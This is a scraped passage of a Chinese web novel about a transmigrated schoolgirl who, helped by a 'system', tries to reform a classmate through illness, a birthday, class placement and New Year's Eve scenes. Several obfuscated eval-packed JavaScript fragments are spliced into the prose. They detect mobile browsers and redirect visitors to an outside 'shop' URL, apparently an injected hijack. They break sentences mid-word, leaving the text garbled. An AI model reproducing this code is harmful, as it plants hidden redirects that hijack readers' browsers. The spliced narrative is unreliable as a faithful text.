怕是发烧了。 叶舒摸上自己的额头，但她手太过冰冷，感知并不准确，于是她轻触同桌钟时泽，请他帮忙看看。 钟时泽一转头便看见面色苍白如纸的叶舒，她唇色惨淡泛白，脸色了无生气，一看就有问题。 他用手背碰了碰她的额头。 “好烫，你肯定发烧了。”钟时泽被她身上滚烫的温度吓到，担忧地看着精神不振的她，准备带她去找老师。 叶舒抓住他衣袖，摇了摇头制止他：“我自己来就好，我先去趟医务室看看。” 她裹紧外套，扶着额起身，静悄悄地从后门离开教室。 室外寒风凛冽，这时是晚修时间，外头没有人，寂静的路上只有光秃秃的树木，显得有些萧瑟。 大概是觉得叶舒有些孤单，系统难得跑出来安慰她：【你可要好好保重身体啊，前路漫漫，你可别把你身体先搞垮了！】 叶舒：【......你可以闭嘴。】 她每一步都走得飘忽，时不时还有冷风吹过，刺得她眼眶泛酸，拼命眨着眼。 叶舒先是去办公室打了电话，结果知晓爸妈恰好回了老家，不在市内，没法带她回家看病。纠结再三，她只好先去医务室开了几副药暂且吃着应付。 待叶舒回到教室，已是课间。 钟时泽是个不折不扣的暖男，连忙让她好好休息，并自告奋勇地说要帮她打水。 叶舒受宠若惊，虚弱地摆了摆手，拒绝道：“不用了，我趴会就好了，谢谢你。” 见她难受，钟时泽不就再强求，安静得坐在她旁边翻书。 即使是严寒也没有抵挡住同学们的热情，晚修时的课间还是一如往常的热闹非凡。 然而，如今头脑混乱的叶舒只觉得环境异常聒噪，但也无可奈何，撕了两团纸巾胡乱塞入耳朵里，便趴着睡下了。 脑袋晕晕乎乎的，在臂弯处的闷热中，叶舒没一会儿便神智不清地入睡了。 …… 晚修的铃声响到尾声叶舒才强撑着精神醒来。 钟时泽踩着点抵达了座位。 叶舒直起身，抚摸了两颊——似乎更烫了。 喉咙发干，叶舒下意识摸向保温杯，触碰到那刻才想起自己没打水，水壶里是没水的。 叶舒叹了口气，拿起水杯，却发现沉甸甸的。 “......？” 叶舒纳闷，难道她记错了？ 她打开盖子，水壶里热气腾起，有些僵冷的手顿时暖和了不少。 水杯里满溢的热水还在散着蒸汽，明显是刚打不久。 叶舒心中一暖，拍了拍钟时泽的手臂，“谢谢你，不过不是叫你不用打水了吗？” 钟时泽一脸懵圈地看着她的水壶：“我没打水啊，我才刚回来。” 闻言，叶舒也愣了，一头雾水。 不是钟时泽还能是谁？ 她暗自思索了片刻，随后，她鬼使神差般的看向了易川的方向。 那人正蹙着眉，认真地写着作业。 叶舒看不出是否是他，默默收回了视线。 系统这时跑出来为易川证明：【是他是他！他趁钟时泽出去的时候拿了你的水壶给你接的热水！没想到给你误打误撞还真攻略成功男主了，这样看来，你以后攻略会简单很多了。】 叶舒不禁问系统：【你不是不知道男主的内心想法吗？】 系统：【是，但也能根据你们人类世界的行为猜测，所以我猜他对你大概还是很有好感的。】 有好感吗？ 叶舒看着壶里的热水，在头顶白炽灯的照射下，她在水里隐隐约约描出自己的眉眼，此刻的她神情复杂，心里说不来是什么感觉。 叶舒一时晃了神，回神间，水里似乎倒映出了记忆里的那个易川。 高一的冬日，她也发烧了。 那时易川已不是她的同桌，所以对她生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656449|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病也并不知晓。 是不知情还是无所谓，叶舒不知道，也不敢细想。 那时的她沉浸在少女的暗恋中，总要编织着美好的幻梦给自己，若是自行戳破了，岂不自讨没趣。 直到叶舒病好那日，王朗关心地问了她：“你病好点没？” 那时，易川就站在王朗身旁。 直至那一刻，易川才重新打量了一遍叶舒，说出了一句算是关心的话语：“多喝水。” 现在想来，喜欢人时的自己真是太过糊涂，眼前就像有一层浓厚的雾，移开几步便可看清真相，可自己却始终不肯迈出那一步，沉浸在自己对他的幻想里，选择在原地停驻。 所以很快，后来的事实便给了她重重一击。 ...... 回想起并不愉快的回忆，叶舒攥紧水杯，给自己灌下几口热水。 热水顺着喉咙流遍全身，她身上的冷意也消散了许多。 打个热水而已，不一定是喜欢。她安慰自己。 - 晚修后。 叶舒身体难受，陆雯见状便立马拉着她要回宿舍。 廊外的冬风萧瑟刺骨，叶舒微微眯眼，将脖子缩进衣领里。 陆雯伸手碰了碰叶舒的额头试问度，大惊失色：“你额头好烫，快回宿舍！” 叶舒头昏脑胀，只能由着陆雯开路，领着她在人流中穿梭。 须臾，牵着她的陆雯停了脚步。 叶舒抬头。 身前落了一个阴影，昏暗中夜色里，叶舒隐约认出，是易川。 “你要干嘛？”陆雯语气有些不善。 她以为易川如王朗那般，要作势与叶舒玩闹，叶舒如今身体不适，不适宜在冷风中呆太久，陆雯不免对此行为有些不满。 易川瞟了陆雯一眼，随后视线又落在叶舒没有血色的脸上。 他没说话，只是递了一个东西给叶舒。 叶舒伸手接过，冰冷僵硬的指尖触及到易川温热的皮肤，易川皱了皱眉，像是嫌弃她的手冷到了他。 叶舒看着手上的药品：“这——” “记得吃药。” “谢谢……” 叶舒话音未落，易川便转身离开，身影消失在了漆黑的夜色中。 ...... 叶舒这病持续了两日。 烧虽反复，但也没有第一天那好似火烧一般的难受了。 因着这病，叶舒好几节课都没认真听，病好些许便舍弃了课间抓紧补上。 也因为生病，易川也没再来打扰她。 不过他见叶舒好了不少之后，又拿着作业使唤她给自己讲题。 易川坐在叶舒前面的空位，手托着脸，听着叶舒讲题。 叶舒看他这副懒散的姿态不顺眼，敲了敲课桌，“坐好。你在听吗？” 易川懒懒地点了点头，随后抬眼看向脸色还略显苍白的叶舒，问：“病好没？” “差不多了，谢谢你的药。”叶舒掩唇轻咳，“多少钱？我回家打给你。” 易川扬眉：“不需要。家里人给带的。” 且不说他爸妈有没有这么“未卜先知”的细心，叶舒回忆起那崭新的药品包装...... 叶舒：“那为什么给我？” 易川挑眉，一副看神经病的表情，“怕你烧死了传染给别人。” 叶舒：“......” 易川既然要用这般拙劣的借口，那叶舒也懒得戳穿他了。 她嘀咕道：“第一个传染也传染钟时泽，传染不到你......” 易川听见了，没说话，神情又变回往日的冷漠。 气氛变得有些怪异。 叶舒回想起那日满满当当的水壶，打破这诡异的氛围，开口问他：“那个热水是你打的吗？” 易川一开始似乎是没反应过来，思索了片刻，随后他神情恢复正常，噢了一声，满不在乎道：“发烧的人要多喝水，想起你老是忘喝水，顺手就给你打了。” 叶舒：“你人这么好？” “那你以为什么？”易川抬眼，表情不屑地瞟了她一眼：“我在你心里人很差劲吗？” “是有一点。”叶舒如实说。 “......”易川微掀眼皮，眼神冰冷地瞥了她一眼，指节在作业本上重重地敲了敲，“讲题。” “......噢。”叶舒收声。 从两人的谈话表现来看，易川从头到尾都表现得很随意，和往常无异。 叶舒放下心来。 看来，他还是和曾经一样——对她的态度只是同学。 最多是关系好一点的同学。 叶舒垂下眼睛，不再看他。 须臾，她才抬眼，眼角微弯，对他说： “谢谢你。” 25. 生日快乐 冬日渐深，不知不觉间12月也到了月底。 月底的时候换了最后一次座位。 叶舒早已和系统达成共识——暗箱操作，所以这次叶舒势必会和易川成为同桌。 她摊开抽中的纸条：36。 易川和叶舒两人是一起前去抽签的，易川在她后面抽的，此时，他也摊开了自己手中的纸条，扫了一眼后便把纸条攥在手心，塞进了口袋。 叶舒转头，明知故问：“你抽到号数是多少？” 易川眼也没抬，懒洋洋道：“35。” 随后，他想起什么，反问她：“你呢？” 叶舒在心中偷笑，表面依旧淡然：“为什么要告诉你？” 她抬步正想离开，却被易川的身躯挡住，他眼疾手快，一把抢过了叶舒手中的纸条，随后将纸条高高举起，摊开纸条念出上面的数字：“36？” 念完后，易川微愣，陷入思考。 叶舒趁着他愣神之际，抢过了纸条，狡黠地笑了笑：“真巧啊，新同桌。” 难得能见易川呆愣，叶舒心情大好，转身大摇大摆地回了座位。 ...... 再一次同桌后，许多事也变得顺其自然，相较于最初，易川也慢慢习惯了叶舒的“好为人师”，也不再需要叶舒百般去讨好，对于叶舒的主动，也不会再百般推脱了。 这样慢慢来的话，易川说不定真的可以变成学霸，三年后实现逆袭，考上静海大学。 叶舒仿佛看见胜利的曙光就在眼前。 两人再次同桌自然引起了不少的调侃，不过叶舒并不在意，她只在意能否达成自己的最终目标。 但，两人的氛围变化都被其他人看在眼里。 …… 晚修前。 日落黄昏落在教学楼的一角，落霞云涌，陆雯和叶舒手撑着脑袋靠在教室外的栏杆边观赏着。 “刚刚没见你回宿舍，你去哪了？”陆雯问起叶舒。 “噢，这个啊......”像想起什么不好的事，叶舒叹息了一声，“我去体育馆练习排球了。” “这么努力！你一个人去的吗？” 叶舒眉头蹙起，犹豫了一会说：“算是吧，但中途遇见了易川，就一起练了会儿。” “......” 陆雯呆愣了片刻，随后尖叫出声：“易川？！” 叶舒按了按被吓到的耳朵，有些无奈地说：“要那么惊讶吗？半路遇见的。” 陆雯吐槽道：“你们这个缘分属实有点……而且全班就你们一对又分为同桌的。” 叶舒扯了扯嘴角。 因为正是系统安排的。 陆雯：“你俩之间感觉也挺怪的。” 叶舒回想起练习时易川那不屑的嘴脸和欠揍的话语，嘴角抽搐了一下：“如果你能听见他怎么笑我的话，大概就不会这么认为了。或者，你可以一起来。” “......好吧。”陆雯扶额。 易川那个性格，真有人喜欢他也算是有抖M倾向吧。 叶舒眺望着远方的落日出神。 易川的面孔在脑海中浮现，叶舒不免又回想起记忆里易川羞辱她时的眼神，冰冷又不屑。想到这，叶舒的笑容消失，变得有些冷漠。 叶舒知道，两人现在算是相熟，但这感情一旦触及到男女之情，那易川对她绝对不会还有现在这般态度。 一旦关系变了味，两人之间会像从前一样，再次上演过去那段可怕的经历。 - 临近期末，似乎一切都按下了加速键，转眼间，又到了一周的结尾——周五下午。 心理健康课。 课上，老师布置了一个任务，写信给三年后的自己。 这个活动是静海高中固有的习俗，到了高三高考前会发回学生们手中，看看自己这三年的变化。 三年后的自己...... 叶舒看向旁边的易川。 三年后，高考完，把易川送入大学后，她的穿越任务也就完成了。如果成功的话，她就会回到原来的世界，变回原来的自己，变回原来的叶舒。 在座的学生都有自己的未来，未知的、可期的未来，但在这个时空里，叶舒没有未来。 而在原来的世界里她的未来已经既定，也没什么可期而言。 那，能写给三年后的自己什么呢？ 原来高一的叶舒只是一股脑地写“要好好努力考到理想大学”，而如今的她，倒还真不知道如何下笔了。 在这里的一切是真的又是假的，最终大概都会归于虚无。 回到原来的世界，一切都没有被改变，她依旧是那个高中曾被人狠狠羞辱过的叶舒。 她在这得到的名誉和洗净羞辱的快意到最后都会没有，她会继续做留有遗憾的叶舒。 这样的落差似乎更难受。 想到这心情不免有些沉重，叶舒握着笔迟迟没写东西，望着白纸出神。 身旁的易川推了推她，懒懒地问了句：“你写什么？” 叶舒抬眼，看着易川的眼睛，浅浅地扯了个笑：“就写......希望我们都考上重本大学。” 闻言，易川低头笑出了声。 “怎么了？”叶舒不解地望着他。 易川掩着嘴，但眼里的笑意还是很明显，似是真的觉得叶舒这句话很好笑。 他缓了片刻后，说：“你是可以，我可就不一定了。” “说不准呢。”叶舒表情很笃定。 易川扬眉，嘲弄地笑了笑，问她：“我哪里可以？” 一向寡言的叶舒不假思索地数起理由：“你比以前认真努力很多，背书也积极了，作业也主动做了，试卷也不会空白了......” 说到后面，叶舒也词穷了。 她想起回忆碎片里一直被否定的易川，踌躇着说出了那个最老套的台词： “反正，我相信你。” 她说话时，易川一直神色淡淡，待见叶舒编不下去后，他勾了勾唇角。 “这么关注我——”易川拖长尾音，歪头看着她，眼底兴味，“你还蛮恐怖的。” 叶舒微愣，反应过来后无语得笑了。 她在认真努力地细数这人的好，结果他以为自己别有用心。 见叶舒脸沉了下去，易川玩味地点了点头，离远了她些，“不和你开玩笑了。” 叶舒这才松了口气，紧接着又听见易川的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似乎是被叶舒快速直白的回答噎到，易川半晌没说话。 他垂眸，眉头微微皱起，像在沉思些什么。 叶舒见他这副模样，本想出言问询，但铃声恰巧响起，她嘴唇翕动，最后只能说：“没什么事我先写作业了。” 叶舒回身，提笔准备做作业，下一刻，眼前出现了一本精美的日记本。 ——是那天他们在那礼品店看中的那款。 叶舒怔住，脑中一片空白，愣愣地看向易川。 他鼻梁上带着那副银框眼镜，在教室灯光的照射下镀上了一层淡淡的光。大概是不习惯说这种话，易川没正眼看她，别过头，只留给叶舒一道侧脸。 “生日快乐。” 这声祝福很轻，几乎湮没在了清脆的铃声中。 但叶舒听见了。 26. 再续“前缘” 眨眼间，便到了这学期的最后一天。 叶舒收拾完行李，站在教学楼楼下等待接送的父亲。 等的时间久了，叶舒便看着面前经过的无数学生的身影发呆。 茫然之际，眼前落了一个响指。 叶舒身躯微顿，仰头便看见易川的脸。 他背着包站在她面前，上下扫视了眼她，说：“在这干嘛？” 叶舒有些嫌弃地斜了他一眼：“等人来接。” 易川噢了一声：“我爸已经到了。” “那你还不快去？” 叶舒漫不经心地回了句。 身前人的身子半分未动，叶舒疑惑地瞧了他一眼。 对上叶舒不解的眼神，易川这才说话：“那你慢慢等吧，拜拜。” “拜拜。”叶舒举起手挥了挥，却不想抬起的手打到了他的手臂。 见状，叶舒连忙道：“不好意思——” 易川停了脚步，似笑非笑地看着她。 见他这副表情叶舒就莫名有种不好的预感。 “你要不说‘不好意思’，我以为你还想我多留会，显得你不那么可怜。” 叶舒：“......” 果然...... ...... 待易川走后没多久，叶舒父亲到了学校，无言地接过她的行李放上车后备箱后，两人便上了车。 叶舒鲜少能有这样与父亲单独相处的时候。 高中时，自己便与父亲没什么话可说，相处总显尴尬；大学后，叶舒父母便分居了，只是为着仅剩的脸面和叶舒一直没有离婚。之后，叶舒便也没再见过父亲，只听母亲偶尔提起过。 车厢内一片沉寂，只有隐约的引擎声和车窗外呼啸而过的风声。 叶舒望着窗外的景色许久，须臾，车子停在了一个红绿灯口前。 “爸爸。” 叶舒忽然开口。 没想到叶舒会突然叫他，叶舒父亲抬眼瞧了她一眼。 叶舒缓缓开口说：“你和......你和妈妈这样总是吵架也不好，有的时候大家各退一步就好了，相处在一个屋檐下，不要弄得那么僵。你们在一起许久了，没必要因为小事伤了半辈子的和气——” “好了，我知道你要说什么了。” 男人打断了她的话。 叶舒嘴巴动了动，随后缓缓闭上。她对父亲的打断并不惊讶，所以心中也没有太大的失落感。 红灯跳成绿色，车子继续行驶。 “你是小孩子就不用插手这些了。”男人语气冷漠地说。 对这听过无数遍的话语，叶舒早已麻木，垂下眼睑。 这个回应她从十五听到了二十多岁。 现在的她确实还算小孩，可二十六岁的她还是吗？ 其实男人给出什么回应叶舒都能接受，只是对这句回应却无法苟同。 就像是他们无法回应孩子说的话，而选择的逃避回答，美名其曰：不想你们孩子插手进大人们复杂的事情里。 大概是觉得自己态度过于冰冷不善，男人补充了句：“我和你妈妈回不到从前了，互相都忍受不了对方，也没法各退一步。叶舒，我知道你很乖，但这种事你就别插手了，也不要多说什么我不想听的。” 叶舒没吭声，男人当作叶舒默认了，车内又陷入一片死寂。 叶舒望着眼前的柏油路很久，最后疲惫地阖上了眼。 - 易川刚到家放下行李后，易川父亲想起什么忽然叫住他：“你们分文理科没有？” 易川身形微顿，随后回复他：“上周就已经交表了，你还签了名，你忘记了吗？” “是吗？”男人喃喃道，大概是又忘了，“那你选了什么科？” 易川轻笑了一声，回答他：“理科。” “理科好，以后选择多。” 男人松了口气，倒怕是易川和他对着干一般。 闻言，易川嘲讽地笑了笑，“成绩好选哪科都选择多，成绩不好选什么科都多余。” 易父睨了眼他，冷声道：“你懂什么，你成绩本来就差，选文科还得了，难道我还指望你文科也能学好吗？选理科不过是给你点机会，考差也给你留条后路——” 伤人的话语源源不断地在他耳朵旁打转。 易川懒懒地堵了堵耳朵，转身上楼，不去听他的念叨。 - 春节前，期末的成绩公布了。 叶舒看完自己成绩后，顺带看了看易川的成绩。 令她没想到的是，易川这次竟摆脱了倒数第一的名衔，班内排名进步了两名，年排进步了五十名左右。 叶舒急忙给易川发信息，将成绩表发给他。 叶舒：【祝贺你，进步了。】 易川那边隔了许久才回应了她，即使一个屏幕，都能感受到他语气还是冷冰冰的。 易川：【假期你一定要发这种东西给我吗？】 叶舒：【我只是觉得有进步值得庆贺，不好意思。】 易川：【就这一点变化值得开心什么？】 易川：【你是第一啊，比我更值得庆祝吧。】 叶舒看见这则信息，便想到易川父母那些打压人的话，刚想敲下一段话激励他，那头又发了一则信息。 易川：【再说我也没做什么，都是叶老师您教得好。】 叶舒微怔，打字的手停在半空中，想了一会儿，她将刚刚敲了一半的话删除，重新敲了一句话。 叶舒：【不客气，一起进步。】 易川那头又沉默了，没再回她，叶舒见他没回应便把手机放回了兜里。 半晌，兜里的手机又震动了一下。 叶舒拿出手机，发现易川又给她发了则信息。 易川：【一起？】 易川：【你这成绩该进重点班了吧？】 易川：【没了叶老师，我大概又会变成倒数第一了。】 虽然是玩笑的调侃，叶舒却觉得有些好笑，弯了弯嘴角。 叶舒：【还没出分班结果，都说不准。而且不是一个班也可以一起学习啊，只要你愿意。】 大概是她这话说得太直白，易川那边许久又没回话。 叶舒看着没动静的手机叹了口气，准备把手机搁置一旁时，手机又来了动静。 叶舒拿起手机看。 易川回复了她： 【和我这个吊车尾学习，拉低你重点班学生的格调吧。】 “......” 叶舒看着他这故作玩笑的自贬便心烦，易川总是拿这种态度拒人千里之外，而且说的话总是令人哑火，不知作何答复。 但这句话却莫名熟悉，令叶舒想起易川从前说过的话。 高中时，易川拒绝自己的话。 ——“你一个学霸，喜欢我一个学渣，喜欢我什么？反差？你不丢人吗？” ——“我们根本就不是一路人，我不喜欢你，永远都不会喜欢上你。” 之前只记得他的冰冷的态度和不屑的眼神了，现在想来，这些话倒有些怪异。 他若是不喜欢她，大可也不必顺带自贬，难道只是他性格所致？ 叶舒想不明白。 不过，无论他是自身所想还是听了什么流言的缘故，都改变不了他伤害过她这一事实。 叶舒轻轻叹息了一声，继续敲字回复他。 叶舒：【怎么会呢？】 叶舒：【你这么帅，我走出去也挺有面的。】 那头先是沉默了一会儿，而后才缓缓弹出来一个：【？】。 -35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678433|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 开学当日。 叶舒和易川分到了一个班。 开学这天，易川依旧迟到了，晚修铃响的时候他才慢慢悠悠地出现在了班门口。 叶舒抬头，便与他的视线对上，视线交汇那刻，易川身躯明显一滞，眼底闪过一丝错愕。 他惊讶也正常。以叶舒的期末成绩，进重点班应是板上钉钉的事实。 只是，易川明显还是个未定数，叶舒的攻略只能算刚有成效，她放心不下。 而且，当初易川拒绝自己便是在高一下学期。若不在一个班，信息闭塞，叶舒害怕从前的事再现。 她没法放任易川不在自己眼皮子底下，所以便再请系统开了一次“金手指”——将自己和易川分到了一个班。 易川是最后一个来的，教室里只剩下了角落里的空位置，易川扫了眼便径直走了过去。 课间。 叶舒正在座位上整理下发的新书，随后，桌面出现一只指节分明的手，那手轻轻敲了敲了桌沿。 叶舒抬头，便看见易川正面无表情居高临下地看着她。 “出来一趟。” 他语气听不出来任何情绪，但莫名还是有种命令式的意味。 叶舒皱了皱眉，感到不悦，但易川先行出了教室，她只好放下笔，满不情愿地跟了出去。 教室外，整栋教学楼灯火通明，人群熙熙攘攘，从叶舒身旁穿过。 “干嘛？”叶舒不满地向易川开了口。 如今是二月末，静海市已有初春的气息，但夜晚起风时还是有些冷。 叶舒紧了紧外套，而眼前的易川，倒像是不怕冷般，只着了件薄薄的外套，外套拉链大敞，露出里面的夏季校服。 他额前的头发长长了不少，微风吹过，遮住了他的视线，他也不在意，微微偏头，上下扫视了叶舒一眼，说：“你怎么在这个班？” “我怎么知道？”叶舒歪头，面露不解，“学校怎么分配我就怎么来。” 易川眉头微蹙，随后转过身走进班内。 叶舒看不懂他，有些不悦道：“你还有事吗？” 易川头也没回，悠悠道：“外面太冷了，进去说。” “......”叶舒撇了撇嘴，原来他还知道冷。 易川径直走向自己角落的座位，也没顾叶舒愿不愿意。念在他是攻略对象的份上，叶舒虽不情愿，但还是跟着他到了他座位旁。 课间，大部分学生都离开了座位。相较于教室外的走廊，教室的角落没什么学生，比较安静，只有教室内侧的窗口外不时传来萧萧风声。 易川没坐下，只是站在座位旁，虚靠在教室后的墙。 叶舒本想开口问他，结果突然被熟悉的声音打断。 “终于找到你们了，我还在想你们去哪了？”王朗突然出现，兴奋地抓着易川的肩膀。 易川被他晃得难受，略微嫌弃地拿下他的手。 叶舒看着王朗又圆滚些的脸颊，干笑了两声——她差点都忘了，王朗和易川再续前缘，这两人高中三年都是一个班的。 说起来，杨乐铉也在这个班，只是三人与杨乐铉关系尴尬，只是简单打了个照面便不了了之。 “我差点以为没人和我分到一个班呢，看到易川后我才开心点！”王朗一脸雀跃，拉着易川手舞足蹈道，“一个假期不见，真想你们啊。” 王朗说这话时，叶舒下意识地看向易川，恰好，易川也掀起眼皮，意味不明地看了她一眼。 见状，叶舒移开目光，四顾无言间横生些微妙的气氛。 叶舒与王朗确实一个假期没见了，但她与易川却不是。 两人寒假时见过面。 耳边同学的喧闹声就如同年除夕那晚孩童的嬉笑声。 叶舒回想起了除夕那晚。 27. 无言的除夕 除夕那晚，叶舒家如所有家庭一样吃了顿丰盛的年夜饭。 只是，父亲依旧没与叶舒和母亲一桌，独自坐在沙发上看着电视。 电视机里传来热闹的音乐声，与整间屋子的死寂格格不入。 叶舒见母亲面色不佳，便与她聊天说话，屋子里才稍微显得有些人气。 饭后，叶舒便帮母亲收拾饭桌，父亲已不见踪影。 不见踪影也好，他人在家，母女俩总觉有些不自在。 整理完后，叶舒母亲便坐在电视机前看春晚，叶舒便坐在她身边陪着她看。 不多时，屋外便传来鞭炮声和小孩子们的嬉闹声。 叶舒打开手机，班群里，同学们正热火朝天地抢着红包。 叶舒看着手机屏幕，思索了一阵后，点开了易川的聊天界面。 两人的对话还停留在上次易川对叶舒的调侃。 几乎没有犹豫，叶舒便给易川打了一句：新年快乐。 发完后，叶舒猜想易川大概不会那么快回复她，便摁灭了屏幕，结果下一秒，屏幕亮起——易川回复了她。 叶舒点开看。 易川只发了两个字。 【群发？】 这回复倒是他的风格。 明明自己是好心好意单独给他发祝福，却还被他这样说，是个人都不会开心。 叶舒如实回复他： 【别以小人之心度君子之腹。】 易川大概挺闲的，几乎是秒回。 【那真是冤枉你了。】 【新年快乐。】 见他态度冷淡，叶舒一时也没了趣。 反正送祝福刷好感的事已做，叶舒也便不想再管了，放下手机陪母亲看电视。 电视机里，春晚歌舞的音乐声舒缓，叶舒与母亲说话间，耳边响起轰然的鞭炮声。 二人侧头眺望，窗边升起一道烟火，随后绽放，点亮了静寂的天幕与城市的夜景。 “哇，真漂亮啊。”叶舒母亲感叹道，随后她对叶舒说，“你要不也去买点鞭炮，和那些孩子玩。” 叶舒笑了笑，拒绝道：“都是小孩子，我去打扰他们干什么。” “这有什么的，一起玩谁打扰谁。”母亲催促她道。 叶舒：“那行，你和我一起出去。” 闻言，母亲立刻摆手拒绝：“都是小孩子，我去干什么？” 叶舒轻笑，重复她刚刚的话：“这有什么的，一起玩谁打扰谁。” 说着，叶舒便拉起女人劝道：“走吧走吧，找邻居玩也行啊。” 两人磨磨唧唧地换完衣服出门时，正巧遇见也要出门放烟花的邻居一家，便一起出门。 璀璨的烟花在墨色夜空中绽放，叶舒被孩童的欢呼雀跃声包围。 她侧头望向母亲，渐次绽放的烟火在母亲眼里点燃出不同的色彩，照耀着她的笑容。 叶舒一时也忘却了饭桌时的郁结，勾了勾唇。 她掏出手机，想拍下这一瞬间的烟花。 然后，便发现了五分钟前易川发给她的信息。 【出来。】 叶舒看着这则消息一头雾水，她甚至怀疑易川发错了信息。 她回：【？】 易川很快便回复了她。 【你家小区门口，出来一下。】 叶舒心下一惊，拿着手机的手都抖了抖，可转念一想，易川家距离自己家地铁要近一个小时。离她发送那句祝福不过才过去半小时，就算步程快，也不可能那么快就抵达。 除非他没吃年夜饭就过来了。 大概是送什么东西，叶舒猜测。 易川突然的殷勤让叶舒有些胆寒，但又不好回绝，只好与母亲借口买东西离开了。 去往小区门口的路上，叶舒还在思索易川会给她送什么。 礼物？吃的？ 思忖间，已走到了门口。 叶舒目光定住，脚步顿了顿。 小区门口，站着一道顷长的身影，暖黄的路灯落下，那人的面容埋在阴影下，看得不真切，但叶舒还是认出了那熟悉的轮廓。 易川。 叶舒愣在原地，好半晌没缓过来。 不同于叶舒喜庆的穿着，易川只是穿了件单调的黑色高领卫衣，他身材高大，比例好，倒不显得颓态。 只是，不知是夜晚路灯的映衬下，他周身散发一种落寞的气息。 正犹豫着，门口那道身影已侧身向她的方向看过来。 易川：“站那干嘛，不认得我了？” 闻言，叶舒才硬着头皮向他走去。 两人之间的距离拉近，各自都没有说话，空气中一时间只有彼此的呼吸声和风声。 大概是有段时间没见了，两人之间的氛围有种微妙的尴尬。 叶舒先打破沉默：“你......怎么在这？” 易川抄着兜，一脸泰然地回：“来这买东西。” 叶舒挑了挑眉，明显不相信，狐疑道：“你——跑这么老远就来这买东西？” “你又知道我跑了老远？” “你家到我家坐地铁要一个小时。” “......” 听见她的话，易川脸上并没有窘然的神色，反而反问她：“你怎么知道我家在哪？” 这下轮到叶舒没话说了，毕竟这个世界的易川确实没和她提过家庭住址。 她很快找了借口道：“王朗说的。” 易川没怀疑下去，淡淡地回了个噢。 “那你——”叶舒继续问，“没在家吃年夜饭？” “吃了。” “那你怎么做到那么快过来的？” 易川没立刻回她，沉默了半晌才说：“我打车过来的。” 叶舒愕然，随后嘴角抽搐道：“那你……还挺有钱的。” 易川家到她家打车来回得上百，对于这个年纪的学生来说，大多数更多会选择性价比更高的地铁。 易川没说话，不屑地嗤笑了一声，大抵是觉得叶舒在打趣他。 没等叶舒继续问他的来意，易川突然用一副打量的眼神看了她一眼。 叶舒一时忘了要问的话，下意识向后退了一步，躲避他的目光。 “你——”易川饶有兴致地看着她，拖着长长的腔调，“你这身，怪喜庆的啊。” 叶舒低头看了看自己鲜艳的红色外套。 她自认为自己这身挺好看的，听见他语意里的调笑自然不快，回怼道：“关你什么事。” 易川脸上的笑意更深：“挺好看的。我可没有贬低的意思，你别以小人之心度君子之腹啊。” ——“小人之心度君子之腹” 听见熟悉的话语，叶舒微怔，反应过来后又有些无语。 易川还是老样子——“睚眦必报”。 叶舒无语又想笑，这才想起刚刚想问的话。 “你来找我有什么事吗？” 话音刚落，易川适才脸上的笑容收敛了大半，路灯下他那瞬间的落寞似乎又爬上了他的眉眼。 他没吭声。 叶舒注意到他的不对劲，一时不知道说什么，安静了下来。 此时正是家庭团圆的时刻，街道上行人寥寥，只有他们两人相对而立。 尴尬之际，一朵烟花适时划出一道绚烂的弧线，在夜空中绽放。 易川仰头望向夜空，语气听不出来情绪：“你这，烟花还挺好看的。” 叶舒见他终于开口说话了，也不愿再纠结他突然出现的理由。 反正，于她而言，这也是个亲近他的好时机。 想到这，叶舒邀请他：“要不去看看？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687707|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沉吟了片刻，易川微微颔首，算是答应了她的邀请。 …… 叶舒带着易川到了小区附近的公园。 公园里，大人们带着小孩围着空地放烟花，热闹非凡。 路边恰巧有卖饮品的房车，叶舒走过去买了两杯热气腾腾的奶茶，随后递给易川。 易川低头看着叶舒手里拿着的两杯奶茶，“你买给我干什么？” “请你的。” “我又不是没钱，需要你请吗？” “……” 叶舒也不惯着他，直接把奶茶送到他手里：“不要就丢掉。” 说完，叶舒便转过头去欣赏烟花，不再理他。 易川没丢，只是握在手里，感受着热饮渡过来的暖意。 两人就这么安静地看着漫天的烟花，各自都没说话。 孩童们兴致高涨，花火没停，一个接着一个在夜空中炸响、绽放。 不知过了多久，叶舒侧头看向身边的人。 易川正面无表情地看着天空中的烟花，焰火渐次在他眼中升腾，看不出他当下是开心还是伤感，倒像只是纯粹的欣赏。 叶舒不免觉得好奇起来，犹豫再三后主动问他：“你怎么这个时候出来了，不在家过年？” 